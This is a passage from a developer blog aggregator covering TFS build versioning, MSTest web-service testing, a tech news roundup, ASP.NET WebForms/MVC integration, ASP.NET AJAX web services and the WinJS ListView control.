AssemblyVersion] attribute"); 55: } 56:   57: return ExtractMajorMinor(versionLine); 58: } 59:   60: private static Tuple<string, string> ExtractMajorMinor(string versionLine) 61: { 62: var firstQuote = versionLine.IndexOf('"') + 1; 63: var secondQuote = versionLine.IndexOf('"', firstQuote); 64: var version = versionLine.Substring(firstQuote, secondQuote - firstQuote); 65: var versionParts = version.Split('.'); 66: return new Tuple<string, string>(versionParts[0], versionParts[1]); 67: } 68:   69: private string GetNewBuildNumber(string buildName) 70: { 71: return buildName.Substring(buildName.LastIndexOf(".") + 1); 72: } 73:   74: #endregion 75: }   At this point the final step is to incorporate this activity into the overall build template. Make a copy of the DefaultTempate.xaml – we’ll call it DefaultTemplateWithVersioning.xaml. Before the build and labeling happens, drag the VersionAssemblies activity in. Then set the LabelName variable to “BuildDetail.BuildDefinition.Name + "-" + newAssemblyFileVersion since the newAssemblyFileVersion was produced by our activity.   Configuring CI Once you add your solution to source control, you can configure CI with the build definition window as shown here. The main difference is that we’ll change the Process tab to reflect a different build number format and choose our custom build process file:   When the build completes, we’ll see the name of our project with the unique revision number:   If we look at the detailed build log for the latest build, we’ll see the label being created with our custom task:     We can now look at the history labels in TFS and see the project name with the labels (the Assignment activity I added to the workflow):   Finally, if we look at the physical assemblies that are produced, we can right-click on any assembly in Windows Explorer and see the assembly version in its properties:   Full Traceability We now have full traceability for our code. There will never be a question of what code was deployed to Production. You can always see the assembly version in the properties of the physical assembly. That can be traced back to a label in TFS where the unique revision number matches. The label in TFS gives you the complete snapshot of the code in your source control repository at the time the code was built. This type of process for full traceability has been used for many years for CI – in fact, I’ve done similar things with CCNet and SVN for quite some time. This is simply the TFS implementation of that pattern. The new features that TFS 2010 give you to make these types of customizations in your build process are quite easy once you get over the initial curve.

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• Solution: Testing Web Services with MSTest on Team Build

  - by Martin Hinshelwood

  Guess what. About 20 minutes after I fixed the build, Allan broke it again! Update: 4th March 2010 – After having huge problems getting this working I read Billy Wang’s post which showed me the light. The problem here is that even though the test passes locally it will not during an Automated Build. When you send your tests to the build server it does not understand that you want to spin up the web site and run tests against that! When you run the test in Visual Studio it spins up the web site anyway, but would you expect your test to pass if you told the website not to spin up? Of course not. So, when you send the code to the build server you need to tell it what to spin up. First, the best way to get the parameters you need is to right click on the method you want to test and select “Create Unit Test”. This will detect wither you are running in IIS or ASP.NET Development Server or None, and create the relevant tags. Figure: Right clicking on “SaveDefaultProjectFile” will produce a context menu with “Create Unit tests…” on it. If you use this option it will AutoDetect most of the Attributes that are required. /// <summary> ///A test for SSW.SQLDeploy.SilverlightUI.Web.Services.IProfileService.SaveDefaultProjectFile ///</summary> // TODO: Ensure that the UrlToTest attribute specifies a URL to an ASP.NET page (for example, // http://.../Default.aspx). This is necessary for the unit test to be executed on the web server, // whether you are testing a page, web service, or a WCF service. [TestMethod()] [HostType("ASP.NET")] [AspNetDevelopmentServerHost("D:\\Workspaces\\SSW\\SSW\\SqlDeploy\\DEV\\Main\\SSW.SQLDeploy.SilverlightUI.Web", "/")] [UrlToTest("http://localhost:3100/")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] public void SaveDefaultProjectFileTest() { IProfileService target = new ProfileService(); // TODO: Initialize to an appropriate value string strComputerName = string.Empty; // TODO: Initialize to an appropriate value bool expected = false; // TODO: Initialize to an appropriate value bool actual; actual = target.SaveDefaultProjectFile(strComputerName); Assert.AreEqual(expected, actual); Assert.Inconclusive("Verify the correctness of this test method."); } Figure: Auto created code that shows the attributes required to run correctly in IIS or in this case ASP.NET Development Server If you are a purist and don’t like creating unit tests like this then you just need to add the three attributes manually. HostType – This attribute specified what host to use. Its an extensibility point, so you could write your own. Or you could just use “ASP.NET”. UrlToTest – This specifies the start URL. For most tests it does not matter which page you call, as long as it is a valid page otherwise your test may not run on the server, but may pass anyway. AspNetDevelopmentServerHost – This is a nasty one, it is only used if you are using ASP.NET Development Host and is unnecessary if you are using IIS. This sets the host settings and the first value MUST be the physical path to the root of your web application. OK, so all that was rubbish and I could not get anything working using the MSDN documentation. Google provided very little help until I ran into Billy Wang’s post  and I heard that heavenly music that all developers hear when understanding dawns that what they have been doing up until now is just plain stupid. I am sure that the above will work when I am doing Web Unit Tests, but there is a much easier way when doing web services. You need to add the AspNetDevelopmentServer attribute to your code. This will tell MSTest to spin up an ASP.NET Development server to host the service. Specify the path to the web application you want to use. [AspNetDevelopmentServer("WebApp1", "D:\\Workspaces\\SSW\\SSW\\SqlDeploy\\DEV\\Main\\SSW.SQLDeploy.SilverlightUI.Web")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] [TestMethod] public void ProfileService_Integration_SaveDefaultProjectFile_Returns_True() { ProfileServiceClient target = new ProfileServiceClient(); bool isTrue = target.SaveDefaultProjectFile("Mav"); Assert.AreEqual(true, isTrue); } Figure: This AspNetDevelopmentServer will make sure that the specified web application is launched. Now we can run the test and have it pass, but if the dynamically assigned ASP.NET Development server port changes what happens to the details in your app.config that was generated when creating a reference to the web service? Well, it would be wrong and the test would fail. This is where Billy’s helper method comes in. Once you have created an instance of your service call, and it has loaded the config, but before you make any calls to it you need to go in and dynamically set the Endpoint address to the same address as your dynamically hosted Web Application. using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.VisualStudio.TestTools.UnitTesting; using System.Reflection; using System.ServiceModel.Description; using System.ServiceModel; namespace SSW.SQLDeploy.Test { class WcfWebServiceHelper { public static bool TryUrlRedirection(object client, TestContext context, string identifier) { bool result = true; try { PropertyInfo property = client.GetType().GetProperty("Endpoint"); string webServer = context.Properties[string.Format("AspNetDevelopmentServer.{0}", identifier)].ToString(); Uri webServerUri = new Uri(webServer); ServiceEndpoint endpoint = (ServiceEndpoint)property.GetValue(client, null); EndpointAddressBuilder builder = new EndpointAddressBuilder(endpoint.Address); builder.Uri = new Uri(endpoint.Address.Uri.OriginalString.Replace(endpoint.Address.Uri.Authority, webServerUri.Authority)); endpoint.Address = builder.ToEndpointAddress(); } catch (Exception e) { context.WriteLine(e.Message); result = false; } return result; } } } Figure: This fixes a problem with the URL in your web.config not being the same as the dynamically hosted ASP.NET Development server port. We can now add a call to this method after we created the Proxy object and change the Endpoint for the Service to the correct one. This process is wrapped in an assert as if it fails there is no point in continuing. [AspNetDevelopmentServer("WebApp1", D:\\Workspaces\\SSW\\SSW\\SqlDeploy\\DEV\\Main\\SSW.SQLDeploy.SilverlightUI.Web")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] [TestMethod] public void ProfileService_Integration_SaveDefaultProjectFile_Returns_True() { ProfileServiceClient target = new ProfileServiceClient(); Assert.IsTrue(WcfWebServiceHelper.TryUrlRedirection(target, TestContext, "WebApp1")); bool isTrue = target.SaveDefaultProjectFile("Mav"); Assert.AreEqual(true, isTrue); } Figure: Editing the Endpoint from the app.config on the fly to match the dynamically hosted ASP.NET Development Server URL and port is now easy. As you can imagine AspNetDevelopmentServer poses some problems of you have multiple developers. What are the chances of everyone using the same location to store the source? What about if you are using a build server, how do you tell MSTest where to look for the files? To the rescue is a property called" “%PathToWebRoot%” which is always right on the build server. It will always point to your build drop folder for your solutions web sites. Which will be “\\tfs.ssw.com.au\BuildDrop\[BuildName]\Debug\_PrecompiledWeb\” or whatever your build drop location is. So lets change the code above to add this. [AspNetDevelopmentServer("WebApp1", "%PathToWebRoot%\\SSW.SQLDeploy.SilverlightUI.Web")] [DeploymentItem("SSW.SQLDeploy.SilverlightUI.Web.dll")] [TestMethod] public void ProfileService_Integration_SaveDefaultProjectFile_Returns_True() { ProfileServiceClient target = new ProfileServiceClient(); Assert.IsTrue(WcfWebServiceHelper.TryUrlRedirection(target, TestContext, "WebApp1")); bool isTrue = target.SaveDefaultProjectFile("Mav"); Assert.AreEqual(true, isTrue); } Figure: Adding %PathToWebRoot% to the AspNetDevelopmentServer path makes it work everywhere. Now we have another problem… this will ONLY run on the build server and will fail locally as %PathToWebRoot%’s default value is “C:\Users\[profile]\Documents\Visual Studio 2010\Projects”. Well this sucks… How do we get the test to run on any build server and any developer laptop. Open “Tools | Options | Test Tools | Test Execution” in Visual Studio and you will see a field called “Web application root directory”. This is where you override that default above. Figure: You can override the default website location for tests. In my case I would put in “D:\Workspaces\SSW\SSW\SqlDeploy\DEV\Main” and all the developers working with this branch would put in the folder that they have mapped. Can you see a problem? What is I create a “$/SSW/SqlDeploy/DEV/34567” branch from Main and I want to run tests in there. Well… I would have to change the value above. This is not ideal, but as you can put your projects anywhere on a computer, it has to be done. Conclusion Although this looks convoluted and complicated there are real problems being solved here that mean that you have a test ANYWHERE solution. Any build server, any Developer workstation. Resources: http://billwg.blogspot.com/2009/06/testing-wcf-web-services.html http://tough-to-find.blogspot.com/2008/04/testing-asmx-web-services-in-visual.html http://msdn.microsoft.com/en-us/library/ms243399(VS.100).aspx http://blogs.msdn.com/dscruggs/archive/2008/09/29/web-tests-unit-tests-the-asp-net-development-server-and-code-coverage.aspx http://www.5z5.com/News/?543f8bc8b36b174f Technorati Tags: VS2010,MSTest,Team Build 2010,Team Build,Visual Studio,Visual Studio 2010,Visual Studio ALM,Team Test,Team Test 2010

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• Week in Geek: New Security Flaw Confirmed for Internet Explorer Edition

  - by Asian Angel

  This week we learned how to use a PC to stay entertained while traveling for the holidays, create quality photo prints with free software, share links between any browser and any smartphone, create perfect Christmas photos using How-To Geek’s 10 best how-to photo guides, and had fun decorating Firefox with a collection of Holiday 2010 Personas themes. Photo by Repoort. Random Geek Links Photo by Asian Angel. Critical 0-Day Flaw Affects All Internet Explorer Versions, Microsoft Warns Microsoft has confirmed a zero-day vulnerability affecting all supported versions of Internet Explorer, including IE8, IE7 and IE6. Note: Article contains link to Microsoft Security Advisory detailing two work-arounds until a security update is released. Hackers targeting human rights, indie media groups Hackers are increasingly hitting the Web sites of human rights and independent media groups in an attempt to silence them, says a new study released this week by Harvard University’s Berkman Center for Internet & Society. OpenBSD: audits give no indication of back doors So far, the analyses of OpenBSD’s crypto and IPSec code have not provided any indication that the system contains back doors for listening to encrypted VPN connections. But the developers have already found two bugs during their current audits. Sophos: Beware Facebook’s new facial-recognition feature Facebook’s new facial recognition software might result in undesirable photos of users being circulated online, warned a security expert, who urged users to keep abreast with the social network’s privacy settings to prevent the abovementioned scenario from becoming a reality. Microsoft withdraws flawed Outlook update Microsoft has withdrawn update KB2412171 for Outlook 2007, released last Patch Tuesday, after a number of user complaints. Skype: Millions still without service Skype was still working to right itself going into the holiday weekend from a major outage that began this past Wednesday. Mozilla improves sync setup and WebGL in Firefox 4 beta 8 Firefox 4.0 beta 8 brings better support for WebGL and introduces an improved setup process for Firefox Sync that simplifies the steps for configuring the synchronization service across multiple devices. Chrome OS the litmus test for cloud The success or failure of Google’s browser-oriented Chrome OS will be the litmus test to decide if the cloud is capable of addressing user needs for content and services, according to a new Ovum report released Monday. FCC Net neutrality rules reach mobile apps The Federal Communications Commission (FCC) finally released its long-expected regulations on Thursday and the related explanations total a whopping 194 pages. One new item that was not previously disclosed: mobile wireless providers can’t block “applications that compete with the provider’s” own voice or video telephony services. KDE and the Document Foundation join Open Invention Network The KDE e.V. and the Document Foundation (TDF) have both joined the Open Invention Network (OIN) as licensees, expanding the organization’s roster of supporters. Report: SEC looks into Hurd’s ousting from HP The scandal surrounding Mark Hurd’s departure from the world’s largest technology company in August has officially drawn attention from the U.S. Securities and Exchange Commission. Report: Google requests delay of new Google TVs Google TV is apparently encountering a bit of static that has resulted in a programming change. Geek Video of the Week This week we have a double dose of geeky video goodness for you with the original Mac vs PC video and the trailer for the sequel. Photo courtesy of Peacer. Mac vs PC Photo courtesy of Peacer. Mac vs PC 2 Trailer Random TinyHacker Links Awesome Tools To Extract Audio From Video Here’s a list of really useful, and free tools to rip audio from videos. Getting Your iPhone Out of Recovery Mode Is your iPhone stuck in recovery mode? This tutorial will help you get it out of that state. Google Shared Spaces Quickly create a shared space and collaborate with friends online. McAfee Internet Security 2011 – Upgrade not worthy of a version change McAfee has released their 2011 version of security products. And as this review details, the upgrades are minimal when compared to their 2010 products. For more information, check out the review. 200 Countries Plotted Hans Rosling’s famous lectures combine enormous quantities of public data with a sport’s commentator’s style to reveal the story of the world’s past, present and future development. Now he explores stats in a way he has never done before – using augmented reality animation. Super User Questions Enjoy looking through this week’s batch of popular questions and answers from Super User. How to restore windows 7 to a known working state every time it boots? Is there an easy way to mass-transfer all files between two computers? Coffee spilled inside computer, damaged hard drive Computer does not boot after ram upgrade Keyboard not detected when trying to install Ubuntu 10.10 How-To Geek Weekly Article Recap Have you had a super busy week while preparing for the holiday weekend? Then here is your chance to get caught up on your reading with our five hottest articles for the week. Ask How-To Geek: Rescuing an Infected PC, Installing Bloat-free iTunes, and Taming a Crazy Trackpad How to Use the Avira Rescue CD to Clean Your Infected PC Eight Geektacular Christmas Projects for Your Day Off VirtualBox 4.0 Rocks Extensions and a Simplified GUI Ask the Readers: How Many Monitors Do You Use with Your Computer? One Year Ago on How-To Geek Here are more great articles from one year ago for you to read and enjoy during the holiday break. Enjoy Distraction-Free Writing with WriteMonkey Shutter is a State of Art Screenshot Tool for Ubuntu Get Hex & RGB Color Codes the Easy Way Find User Scripts for Your Favorite Websites the Easy Way Access Your Unsorted Bookmarks the Easy Way (Firefox) The Geek Note That “wraps” things up for this week and we hope that everyone enjoys the rest of their holiday break! Found a great tip during the break? Then be sure to send it in to us at [email protected]. Photo by ArSiSa7. Latest Features How-To Geek ETC How to Use the Avira Rescue CD to Clean Your Infected PC The Complete List of iPad Tips, Tricks, and Tutorials Is Your Desktop Printer More Expensive Than Printing Services? 20 OS X Keyboard Shortcuts You Might Not Know HTG Explains: Which Linux File System Should You Choose? HTG Explains: Why Does Photo Paper Improve Print Quality? Simon’s Cat Explores the Christmas Tree! [Video] The Outdoor Lights Scene from National Lampoon’s Christmas Vacation [Video] The Famous Home Alone Pizza Delivery Scene [Classic Video] Chronicles of Narnia: The Voyage of the Dawn Treader Theme for Windows 7 Cardinal and Rabbit Sharing a Tree on a Cold Winter Morning Wallpaper An Alternate Star Wars Christmas Special [Video]

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• Running ASP.NET Webforms and ASP.NET MVC side by side

  - by rajbk

  One of the nice things about ASP.NET MVC and its older brother ASP.NET WebForms is that they are both built on top of the ASP.NET runtime environment. The advantage of this is that, you can still run them side by side even though MVC and WebForms are different frameworks. Another point to note is that with the release of the ASP.NET routing in .NET 3.5 SP1, we are able to create SEO friendly URLs that do not map to specific files on disk. The routing is part of the core runtime environment and therefore can be used by both WebForms and MVC. To run both frameworks side by side, we could easily create a separate folder in your MVC project for all our WebForm files and be good to go. What this post shows you instead, is how to have an MVC application with WebForm pages  that both use a common master page and common routing for SEO friendly URLs.  A sample project that shows WebForms and MVC running side by side is attached at the bottom of this post. So why would we want to run WebForms and MVC in the same project?  WebForms come with a lot of nice server controls that provide a lot of functionality. One example is the ReportViewer control. Using this control and client report definition files (RDLC), we can create rich interactive reports (with charting controls). I show you how to use the ReportViewer control in a WebForm project here :  Creating an ASP.NET report using Visual Studio 2010. We can create even more advanced reports by using SQL reporting services that can also be rendered by the ReportViewer control. Now, consider the sample MVC application I blogged about called ASP.NET MVC Paging/Sorting/Filtering using the MVCContrib Grid and Pager. Assume you were given the requirement to add a UI to the MVC application where users could interact with a report and be given the option to export the report to Excel, PDF or Word. How do you go about doing it?   This is a perfect scenario to use the ReportViewer control and RDLCs. As you saw in the post on creating the ASP.NET report, the ReportViewer control is a Web Control and is designed to be run in a WebForm project with dependencies on, amongst others, a ScriptManager control and the beloved Viewstate.  Since MVC and WebForm both run under the same runtime, the easiest thing to is to add the WebForm application files (index.aspx, rdlc, related class files) into our MVC project. You can copy the files over from the WebForm project into the MVC project. Create a new folder in our MVC application called CommonReports. Add the index.aspx and rdlc file from the Webform project   Right click on the Index.aspx file and convert it to a web application. This will add the index.aspx.designer.cs file (this step is not required if you are manually adding a WebForm aspx file into the MVC project).    Verify that all the type names for the ObjectDataSources in code behind to point to the correct ProductRepository and fix any compiler errors. Right click on Index.aspx and select “View in browser”. You should see a screen like the one below:   There are two issues with our page. It does not use our site master page and the URL is not SEO friendly. Common Master Page The easiest way to use master pages with both MVC and WebForm pages is to have a common master page that each inherits from as shown below. The reason for this is most WebForm controls require them to be inside a Form control and require ControlState or ViewState. ViewMasterPages used in MVC, on the other hand, are designed to be used with content pages that derive from ViewPage with Viewstate turned off. By having a separate master page for MVC and WebForm that inherit from the Root master page,, we can set properties that are specific to each. For example, in the Webform master, we can turn on ViewState, add a form tag etc. Another point worth noting is that if you set a WebForm page to use a MVC site master page, you may run into errors like the following: A ViewMasterPage can be used only with content pages that derive from ViewPage or ViewPage<TViewItem> or Control 'MainContent_MyButton' of type 'Button' must be placed inside a form tag with runat=server. Since the ViewMasterPage inherits from MasterPage as seen below, we make our Root.master inherit from MasterPage, MVC.master inherit from ViewMasterPage and Webform.master inherits from MasterPage. We define the attributes on the master pages like so: Root.master <%@ Master Inherits="System.Web.UI.MasterPage"  … %> MVC.master <%@ Master MasterPageFile="~/Views/Shared/Root.Master" Inherits="System.Web.Mvc.ViewMasterPage" … %> WebForm.master <%@ Master MasterPageFile="~/Views/Shared/Root.Master" Inherits="NorthwindSales.Views.Shared.Webform" %> Code behind: public partial class Webform : System.Web.UI.MasterPage {} We make changes to our reports aspx file to use the Webform.master. See the source of the master pages in the sample project for a better understanding of how they are connected. SEO friendly links We want to create SEO friendly links that point to our report. A request to /Reports/Products should render the report located in ~/CommonReports/Products.aspx. Simillarly to support future reports, a request to /Reports/Sales should render a report in ~/CommonReports/Sales.aspx. Lets start by renaming our index.aspx file to Products.aspx to be consistent with our routing criteria above. As mentioned earlier, since routing is part of the core runtime environment, we ca easily create a custom route for our reports by adding an entry in Global.asax. public static void RegisterRoutes(RouteCollection routes) { routes.IgnoreRoute("{resource}.axd/{*pathInfo}");   //Custom route for reports routes.MapPageRoute( "ReportRoute", // Route name "Reports/{reportname}", // URL "~/CommonReports/{reportname}.aspx" // File );     routes.MapRoute( "Default", // Route name "{controller}/{action}/{id}", // URL with parameters new { controller = "Home", action = "Index", id = UrlParameter.Optional } // Parameter defaults ); } With our custom route in place, a request to Reports/Employees will render the page at ~/CommonReports/Employees.aspx. We make this custom route the first entry since the routing system walks the table from top to bottom, and the first route to match wins. Note that it is highly recommended that you write unit tests for your routes to ensure that the mappings you defined are correct. Common Menu Structure The master page in our original MVC project had a menu structure like so: <ul id="menu"> <li> <%=Html.ActionLink("Home", "Index", "Home") %></li> <li> <%=Html.ActionLink("Products", "Index", "Products") %></li> <li> <%=Html.ActionLink("Help", "Help", "Home") %></li> </ul> We want this menu structure to be common to all pages/views and hence should reside in Root.master. Unfortunately the Html.ActionLink helpers will not work since Root.master inherits from MasterPage which does not have the helper methods available. The quickest way to resolve this issue is to use RouteUrl expressions. Using  RouteUrl expressions, we can programmatically generate URLs that are based on route definitions. By specifying parameter values and a route name if required, we get back a URL string that corresponds to a matching route. We move our menu structure to Root.master and change it to use RouteUrl expressions: <ul id="menu"> <li> <asp:HyperLink ID="hypHome" runat="server" NavigateUrl="<%$RouteUrl:routename=default,controller=home,action=index%>">Home</asp:HyperLink></li> <li> <asp:HyperLink ID="hypProducts" runat="server" NavigateUrl="<%$RouteUrl:routename=default,controller=products,action=index%>">Products</asp:HyperLink></li> <li> <asp:HyperLink ID="hypReport" runat="server" NavigateUrl="<%$RouteUrl:routename=ReportRoute,reportname=products%>">Product Report</asp:HyperLink></li> <li> <asp:HyperLink ID="hypHelp" runat="server" NavigateUrl="<%$RouteUrl:routename=default,controller=home,action=help%>">Help</asp:HyperLink></li> </ul> We are done adding the common navigation to our application. The application now uses a common theme, routing and navigation structure. Conclusion We have seen how to do the following through this post Add a WebForm page from a WebForm project to an existing ASP.NET MVC application Use a common master page for both WebForm and MVC pages Use routing for SEO friendly links Use a common menu structure for both WebForm and MVC. The sample project is attached below. Version: VS 2010 RTM Remember to change your connection string to point to your Northwind database NorthwindSalesMVCWebform.zip

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• Step by Step:How to use Web Services in ASP.NET AJAX

  - by Yousef_Jadallah

  In my Article Preventing Duplicate Date With ASP.NET AJAX I’ve used ASP.NET AJAX With Web Service Technology, Therefore I add this topic as an introduction how to access Web services from client script in AJAX-enabled ASP.NET Web pages. As well I write this topic to answer the common questions which most of the developers face while working with ASP.NET Ajax Web Services especially in Microsoft ASP.NET official forum http://forums.asp.net/. ASP.NET enables you to create Web services can be accessed from client script in Web pages by using AJAX technology to make Web service calls. Data is exchanged asynchronously between client and server, typically in JSON format.   Lets go a head with the steps :   1-Create a new project , if you are using VS 2005 you have to create ASP.NET Ajax Enabled Web site.   2-Add new Item , Choose Web Service file .     3-To make your Web Services accessible from script, first it must be an .asmx Web service whose Web service class is qualified with the ScriptServiceAttribute attribute and every method you are using to be called from Client script must be qualified with the WebMethodAttribute attribute. On other hand you can use your Web page( CS or VB files) to add static methods accessible from Client Script , just you need to add WebMethod Attribute and set the EnablePageMethods attribute of the ScriptManager control to true..   The other condition is to register the ScriptHandlerFactory HTTP handler, which processes calls made from script to .asmx Web services : <system.web> <httpHandlers> <remove verb="*" path="*.asmx"/> <add verb="*" path="*.asmx" type="System.Web.Script.Services.ScriptHandlerFactory" validate="false"/> </httpHandlers> <system.web> .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } but this already added automatically for any Web.config file of any ASP.NET AJAX Enabled WebSite or Project, So you don’t need to add it.   4-Avoid the default Method HelloWorld, then add your method in your asmx file lets say  OurServerOutput , As a consequence your Web service will be like this : using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Services;     [WebService(Namespace = "http://tempuri.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] [System.Web.Script.Services.ScriptService] public class WebService : System.Web.Services.WebService {     [WebMethod] public string OurServerOutput() { return "The Server Date and Time is : " + DateTime.Now.ToString(); } } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; }   5-Add ScriptManager Contol to your aspx file then reference the Web service by adding an asp:ServiceReference child element to the ScriptManager control and setting its path attribute to point to the Web service, That generate a JavaScript proxy class for calling the specified Web service from client script.   <asp:ScriptManager runat="server" ID="scriptManager"> <Services> <asp:ServiceReference Path="WebService.asmx" /> </Services> </asp:ScriptManager> .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; }   Basically ,to enable your application to call Web services(.asmx files) by using client script, the server asynchronous communication layer automatically generates JavaScript proxy classes. A proxy class is generated for each Web service for which an <asp:ServiceReference> element is included under the <asp:ScriptManager> control in the page.   6-Create new button to call the JavaSciprt function and a label to display the returned value . <input id="btnCallDateTime" type="button" value="Call Web Service" onclick="CallDateTime()"/> <asp:Label ID="lblOutupt" runat="server" Text="Label"></asp:Label> .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; }   7-Define the JavaScript code to call the Web Service : <script language="javascript" type="text/javascript">   function CallDateTime() {   WebService.OurServerOutput(OnSucceeded); }   function OnSucceeded(result) { var lblOutput = document.getElementById("lblOutupt"); lblOutput.innerHTML = result; } </script> .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } CallDateTime function calls the Web Service Method OurServerOutput… OnSucceeded function Used as the callback function that processes the Web Service return value. which the result parameter is a simple parameter contain the Server Date Time value returned from the Web Service . Finally , when you complete these steps and run your application you can press the button and retrieve Server Date time without postback.   Conclusion: In this topic I describes how to access Web services from client script in AJAX-enabled ASP.NET Web pages With a full .NET Framework/JSON serialize, direct integration with the familiar .asmx Web services ,Using  simple example,Also you can connect with the database to return value by create WebMethod in your Web Service file and the same steps you can use. Next time I will show you more complex example which returns a complex type like objects.   Hope this help.

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• Metro: Introduction to the WinJS ListView Control

  - by Stephen.Walther

  The goal of this blog entry is to provide a quick introduction to the ListView control – just the bare minimum that you need to know to start using the control. When building Metro style applications using JavaScript, the ListView control is the primary control that you use for displaying lists of items. For example, if you are building a product catalog app, then you can use the ListView control to display the list of products. The ListView control supports several advanced features that I plan to discuss in future blog entries. For example, you can group the items in a ListView, you can create master/details views with a ListView, and you can efficiently work with large sets of items with a ListView. In this blog entry, we’ll keep things simple and focus on displaying a list of products. There are three things that you need to do in order to display a list of items with a ListView: Create a data source Create an Item Template Declare the ListView Creating the ListView Data Source The first step is to create (or retrieve) the data that you want to display with the ListView. In most scenarios, you will want to bind a ListView to a WinJS.Binding.List object. The nice thing about the WinJS.Binding.List object is that it enables you to take a standard JavaScript array and convert the array into something that can be bound to the ListView. It doesn’t matter where the JavaScript array comes from. It could be a static array that you declare or you could retrieve the array as the result of an Ajax call to a remote server. The following JavaScript file – named products.js – contains a list of products which can be bound to a ListView. (function () { "use strict"; var products = new WinJS.Binding.List([ { name: "Milk", price: 2.44 }, { name: "Oranges", price: 1.99 }, { name: "Wine", price: 8.55 }, { name: "Apples", price: 2.44 }, { name: "Steak", price: 1.99 }, { name: "Eggs", price: 2.44 }, { name: "Mushrooms", price: 1.99 }, { name: "Yogurt", price: 2.44 }, { name: "Soup", price: 1.99 }, { name: "Cereal", price: 2.44 }, { name: "Pepsi", price: 1.99 } ]); WinJS.Namespace.define("ListViewDemos", { products: products }); })(); The products variable represents a WinJS.Binding.List object. This object is initialized with a plain-old JavaScript array which represents an array of products. To avoid polluting the global namespace, the code above uses the module pattern and exposes the products using a namespace. The list of products is exposed to the world as ListViewDemos.products. To learn more about the module pattern and namespaces in WinJS, see my earlier blog entry: http://stephenwalther.com/blog/archive/2012/02/22/metro-namespaces-and-modules.aspx Creating the ListView Item Template The ListView control does not know how to render anything. It doesn’t know how you want each list item to appear. To get the ListView control to render something useful, you must create an Item Template. Here’s what our template for rendering an individual product looks like: <div id="productTemplate" data-win-control="WinJS.Binding.Template"> <div class="product"> <span data-win-bind="innerText:name"></span> <span data-win-bind="innerText:price"></span> </div> </div> This template displays the product name and price from the data source. Normally, you will declare your template in the same file as you declare the ListView control. In our case, both the template and ListView are declared in the default.html file. To learn more about templates, see my earlier blog entry: http://stephenwalther.com/blog/archive/2012/02/27/metro-using-templates.aspx Declaring the ListView The final step is to declare the ListView control in a page. Here’s the markup for declaring a ListView: <div data-win-control="WinJS.UI.ListView" data-win-options="{ itemDataSource:ListViewDemos.products.dataSource, itemTemplate:select('#productTemplate') }"> </div> You declare a ListView by adding the data-win-control to an HTML DIV tag. The data-win-options attribute is used to set two properties of the ListView. The ListView is associated with its data source with the itemDataSource property. Notice that the data source is ListViewDemos.products.dataSource and not just ListViewDemos.products. You need to associate the ListView with the dataSoure property. The ListView is associated with its item template with the help of the itemTemplate property. The ID of the item template — #productTemplate – is used to select the template from the page. Here’s what the complete version of the default.html page looks like: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>ListViewDemos</title> <!-- WinJS references --> <link href="//Microsoft.WinJS.0.6/css/ui-dark.css" rel="stylesheet"> <script src="//Microsoft.WinJS.0.6/js/base.js"></script> <script src="//Microsoft.WinJS.0.6/js/ui.js"></script> <!-- ListViewDemos references --> <link href="/css/default.css" rel="stylesheet"> <script src="/js/default.js"></script> <script src="/js/products.js" type="text/javascript"></script> <style type="text/css"> .product { width: 200px; height: 100px; border: white solid 1px; } </style> </head> <body> <div id="productTemplate" data-win-control="WinJS.Binding.Template"> <div class="product"> <span data-win-bind="innerText:name"></span> <span 